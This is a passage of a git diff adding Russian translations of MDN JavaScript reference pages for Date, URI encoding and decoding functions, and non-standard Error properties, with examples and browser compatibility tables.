+<h3 id="Date.UTC_с_менее_чем_двумя_аргументами">Date.UTC() с менее чем двумя аргументами</h3>
+
+<p>Когда вы предоставляете функции <code>Date.UTC()</code> меньше, чем два аргумента, то по стандартам ECMAScript 2017, она должна вернуть {{jsxref("NaN")}}. Браузерные движки, не поддерживающие подобное поведение, были обновлены (смотрите <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1050755">bug 1050755</a>, <a href="https://github.com/tc39/ecma262/pull/642">ecma-262 #642</a>).</p>
+
+<pre class="brush: js">Date.UTC();
+Date.UTC(1);
+
+// Safari: NaN
+// Chrome/Opera/V8: NaN
+
+// Firefox &lt;54: non-NaN
+// Firefox 54+: NaN
+
+// IE: non-NaN
+// Edge: NaN
+</pre>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/valueof/index.html b/files/ru/web/javascript/reference/global_objects/date/valueof/index.html
new file mode 100644
index 0000000000..d58f5412a6
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/date/valueof/index.html
@@ -0,0 +1,114 @@
+---
+title: Date.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+tags:
+  - Date
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf
+---
+<div>{{JSRef("Global_Objects", "Date")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>valueOf()</code></strong> возвращает примитивное значение объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>dateObj</var>.valueOf()</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<p>Нет.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>valueOf()</code> возвращает примитивное значение объекта {{jsxref("Global_Objects/Date", "Date")}} в виде числового типа данных — количества миллисекунд, прошедших с полуночи 01 января 1970 по UTC.</p>
+<p>Этот метод полностью функционально эквивалентен методу {{jsxref("Date.prototype.getTime()")}}.</p>
+<p>Этот метод обычно вызывается внутренними механизмами движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_valueOf" name="Example:_Using_valueOf">Пример: использование метода <code>valueOf()</code></h3>
+<pre class="brush: js">var x = new Date(56, 6, 17);
+var myVar = x.valueOf();      // присваивает -424713600000 переменной myVar
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.5.8', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.prototype.valueof', 'Date.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.prototype.getTime()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/decodeuri/index.html b/files/ru/web/javascript/reference/global_objects/decodeuri/index.html
new file mode 100644
index 0000000000..5f500a65b5
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/decodeuri/index.html
@@ -0,0 +1,124 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURI
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Метод <code><strong>decodeURI()</strong></code> декодирует <span class="st">унифицированный идентификатор ресурса</span> (URI), созданный при помощи метода {{jsxref("encodeURI")}} или другой подобной процедуры.</p>
+
+<p> </p>
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-decodeuri.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>decodeURI(<em>encodedURI</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>Полный закодированный <span class="st">унифицированный идентификатор ресурса</span>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новая строка, представляющая собой незакодированную версию данного <span class="st">унифицированного идентификатора ресурса</span>.</p>
+
+<p> </p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Throws an {{jsxref("URIError")}} ("malformed URI sequence") exception when <code><em>encodedURI</em></code> contains invalid character sequences.</p>
+
+<p> </p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Заменяет каждую управляющую последовательность в закодированном URI соответствующим символом. Не декодирует последовательности, которые невозможно сформировать с помощью {{jsxref("encodeURI")}}. Символ "#" декодированию не подвергается.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Декодирование_кириллического_URL">Декодирование кириллического URL</h3>
+
+<pre class="brush: js">decodeURI("https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
+</pre>
+
+<p> </p>
+
+<h3 id="Catching_errors">Catching errors</h3>
+
+<pre><code>try {
+  var a = decodeURI('%E0%A4%A');
+} catch(e) {
+  console.error(e);
+}
+
+// URIError: malformed URI sequence</code></pre>
+
+<p> </p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.decodeURI")}}</p>
+
+<p> </p>
+
+<div id="compat-desktop"> </div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
new file mode 100644
index 0000000000..8e7562ad05
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
@@ -0,0 +1,107 @@
+---
+title: decodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Метод <code><strong>decodeURIComponent()</strong></code> декодирует управляющие последовательности символов в компоненте Uniform Resource Identifier (URI), созданные с помощью метода {{jsxref("encodeURIComponent")}} или другой подобной процедуры.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-decodeuricomponent.html")}}</div>
+
+<div> </div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.
+
+<p> </p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>decodeURIComponent(<em>encodedURI</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>Строка, содержащая закодированный компонент Uniform Resource Identifier.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Новая строка, представляющая собой декодированную версию компонента Uniform Resource Identifier (URI), переданного в качестве параметра.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>При неправильном использовании выдает исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Заменяет каждую управляющую последовательность в закодированном компоненте URI соответствующим ей символом.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Декодирование_компонента_кириллического_URL">Декодирование компонента кириллического URL</h3>
+
+<pre class="brush: js">decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "JavaScript_шеллы"
+</pre>
+
+<h3 id="Перехват_ошибок">Перехват ошибок</h3>
+
+<pre class="brush: js">try {
+  var a = decodeURIComponent('%E0%A4%A');
+} catch(e) {
+  console.error(e);
+}
+
+// URIError: malformed URI sequence</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("javascript.builtins.decodeURIComponent")}}</p>
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("encodeURIComponent")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
new file mode 100644
index 0000000000..9b6c6d7382
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
@@ -0,0 +1,139 @@
+---
+title: encodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURI
+tags:
+  - JavaScript
+  - NeedsUpdate
+  - Reference
+  - URI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<p>Метод <strong>encodeURI ()</strong> кодирует универсальный идентификатор ресурса (URI), замещая некоторые символы на одну, две, три или четыре управляющие последовательности, представляющие UTF-8 кодировку символа (четыре управляющие последовательности будут использованы только для символов, состоящих из двух «суррогатных» символов).</p>
+
+
+
+<p>{{EmbedInteractiveExample("pages/js/globalprops-encodeuri.html")}}</p>
+
+<div class="hidden">
+<p>The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code>encodeURI(<em>URI</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code><font face="Consolas, Liberation Mono, Courier, monospace">URI</font></code></dt>
+ <dd>Полный {{Glossary("URI")}}.</dd>
+ <dt>
+ <h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+ <p>Новая строка, представляющая собой строку-параметр, закодированную в виде универсального идентификатора ресурса (URI).</p>
+ </dt>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Предполагается, что URI является полным URI, поэтому метод не кодирует зарезервированные символы, имеющие особое значение в URI.</p>
+
+<p>encodeURI заменяет все символы, <strong>кроме</strong> следующих с соответствующими UTF-8 управляющими последовательностями:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Тип</td>
+   <td class="header">Включения</td>
+  </tr>
+  <tr>
+   <td>Зарезервированные символы</td>
+   <td><code>;</code> <code>,</code> <code>/</code> <code>?</code> <code>:</code> <code>@</code> <code>&amp;</code> <code>=</code> <code>+</code> <code>$</code></td>
+  </tr>
+  <tr>
+   <td>Неэкранируемые символы</td>
+   <td>латинские буквы, десятичные цифры, <code>-</code> <code>_</code> <code>.</code> <code>!</code> <code>~</code> <code>*</code> <code>'</code> <code>(</code> <code>)</code></td>
+  </tr>
+  <tr>
+   <td>Score</td>
+   <td><code>#</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Заметим, что <code>encodeURI</code> сам по себе не может сформировать правильные HTTP GET и POST запросы, такие как XMLHTTPRequests, потому, что "&amp;", "+", и "=" не закодированы, которые воспринимаются как специальные символы в GET и POST запросах. {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, однако, кодирует эти символы</p>
+
+<p>Замечание: {{jsxref("Global_Objects/URIError", "URIError")}} будет брошена, если попытаться закодировать суррогат, который не является частью высоко-низкой пары, например:</p>
+
+<pre class="brush: js"><code>// низко-высокая пара - нормально
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// один высокий суррогат бросит "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// один низкий суррогат бросит "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));</code></pre>
+
+<p>Также заметим, что следуя наиболее свежей <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a> для URL, которая делает квадратные скобки защищенными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:</p>
+
+<pre class="brush: js">function fixedEncodeURI (str) {
+    return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
+}</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.3', 'encodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuri-uri', 'encodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.encodeURI")}}</p>
+
+
+
+
+
+<h2 id="See_Also" name="See_Also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>Base62x</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
new file mode 100644
index 0000000000..73420f234c
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
@@ -0,0 +1,157 @@
+---
+title: encodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>encodeURIComponent()</strong></code> - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определенной последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8  (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">encodeURIComponent(str);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Строка. Компонент URI.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>encodeURIComponent</code> изменяет все символы, за исключением следующих: латинские буквы, десятичные цифры, <code>- _ . ! ~ * ' ( )</code></p>
+
+<p>Замечание: {{jsxref("URIError")}} будет брошена, если попытаться закодировать суррогат, который не является частью высоко-низкой пары, например:</p>
+
+<pre class="brush: js">// низко-высокая пара - нормально
+console.log(encodeURIComponent('\uD800\uDFFF'));
+
+// один высокий суррогат бросит "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uD800'));
+
+// один низкий суррогат бросит "URIError: malformed URI sequence"
+console.log(encodeURIComponent('\uDFFF'));
+</pre>
+
+<p>Чтоб избежать неожиданных запросов к серверу, вам следует вызывать <code>encodeURIComponent</code> для любых вводимых пользователем параметров, используемых как часть URI. Например, он мог написать "<code>Thyme &amp;time=again</code>" для переменной <code>comment</code>. Неиспользование <code>encodeURIComponent</code> для неё даст <code>comment=Thyme%20&amp;time=again</code>. Заметьте, что амперсанд и знак равно выделяют новую пару ключ-значение. Так что вместо комментария "<code>Thyme &amp;time=again</code>", вы получите два POST параметра, один -  "<code>Thyme </code>", а другой (<code>time</code>) равный "<code>again"</code>.</p>
+
+<p><code>Для <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#application/x-www-form-urlencoded-encoding-algorithm">application/x-www-form-urlencoded</a></code> пробелы должны быть заменены на "+", поэтому вам может понадобиться <code>encodeURIComponent</code> с дополнительной заменой "%20" на "+".</p>
+
+<p>Чтобы строго соблюдать <a class="external" href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> (который резервирует !, ', (, ), и *), даже не смотря на то, что символы не используют сформированных URI разделителей, можно безопасно использовать следущее:</p>
+
+<pre class="brush: js">function fixedEncodeURIComponent (str) {
+  return encodeURIComponent(str).replace(/[!'()*]/g, function(c) {
+    return '%' + c.charCodeAt(0).toString(16);
+  });
+}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Пример представляет специальное кодирование, требуемое для заголовков сервера в UTF-8: <code>Content-Disposition</code> и <code>Link </code>(к примеру, имена файлов в UTF-8):</p>
+
+<pre class="brush: js">var fileName = 'my file(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''"
+             + encodeRFC5987ValueChars(fileName);
+
+console.log(header);
+// логирует "Content-Disposition: attachment; filename*=UTF-8''my%20file%282%29.txt"
+
+
+function encodeRFC5987ValueChars (str) {
+    return encodeURIComponent(str).
+        // Замечание: хотя RFC3986 резервирует "!", RFC5987 это не делает, так что нам не нужно избегать этого
+        replace(/['()]/g, escape). // i.e., %27 %28 %29
+        replace(/\*/g, '%2A').
+            // Следующее не требуется для кодирования процентов для RFC5987, так что мы можем разрешить немного больше читаемости через провод: |`^
+            replace(/%(?:7C|60|5E)/g, unescape);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("decodeURI")}}</li>
+ <li>{{jsxref("encodeURI")}}</li>
+ <li>{{jsxref("decodeURIComponent")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/columnnumber/index.html b/files/ru/web/javascript/reference/global_objects/error/columnnumber/index.html
new file mode 100644
index 0000000000..8138b26a29
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/columnnumber/index.html
@@ -0,0 +1,78 @@
+---
+title: Error.prototype.columnNumber
+slug: Web/JavaScript/Reference/Global_Objects/Error/columnNumber
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber
+---
+<div>
+ {{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>columnNumber</strong></code> содержит номер колонки в строке файла, в котором возникла эта ошибка.</p>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<h3 id="Example:_Throwing_a_custom_error" name="Example:_Throwing_a_custom_error">Пример: использование <code>columnNumber</code></h3>
+<pre class="brush: js">var e = new Error('Невозможно разобрать входные данные');
+throw e;
+console.log(e.columnNumber) // 0
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является чаcтью какой-либо спецификации. Не стандартно.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/error/filename/index.html b/files/ru/web/javascript/reference/global_objects/error/filename/index.html
new file mode 100644
index 0000000000..c2f2affeb0
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/error/filename/index.html
@@ -0,0 +1,80 @@
+---
+title: Error.prototype.fileName
+slug: Web/JavaScript/Reference/Global_Objects/Error/fileName
+tags:
+  - Error
+  - JavaScript
+  - Non-standard
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName
+---
+<div>
+ {{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>fileName</strong></code> содержит путь к файлу, в котором возникла эта ошибка.</p>
+<h2 id="Description" name="Description">Описание</h2>
+<p>Это нестандартное свойство содержит путь к файлу, в котором возникла эта ошибка. Если доступ к нему получен в контексте отладчика, например, Инструментов разработчика Firefox, вернётся строка «debugger eval code».</p>
+<h2 id="Examples" name="Examples">Примеры</h2>
+<h3 id="Example:_Throwing_a_custom_error" name="Example:_Throwing_a_custom_error">Пример: использование <code>fileName</code></h3>
+<pre class="brush: js">var e = new Error('Невозможно разобрать входные данные');
+throw e;
+// e.fileName может выглядеть так "file:///C:/example.html"
+</pre>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является чаcтью какой-либо спецификации. Не стандартно.</p>
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
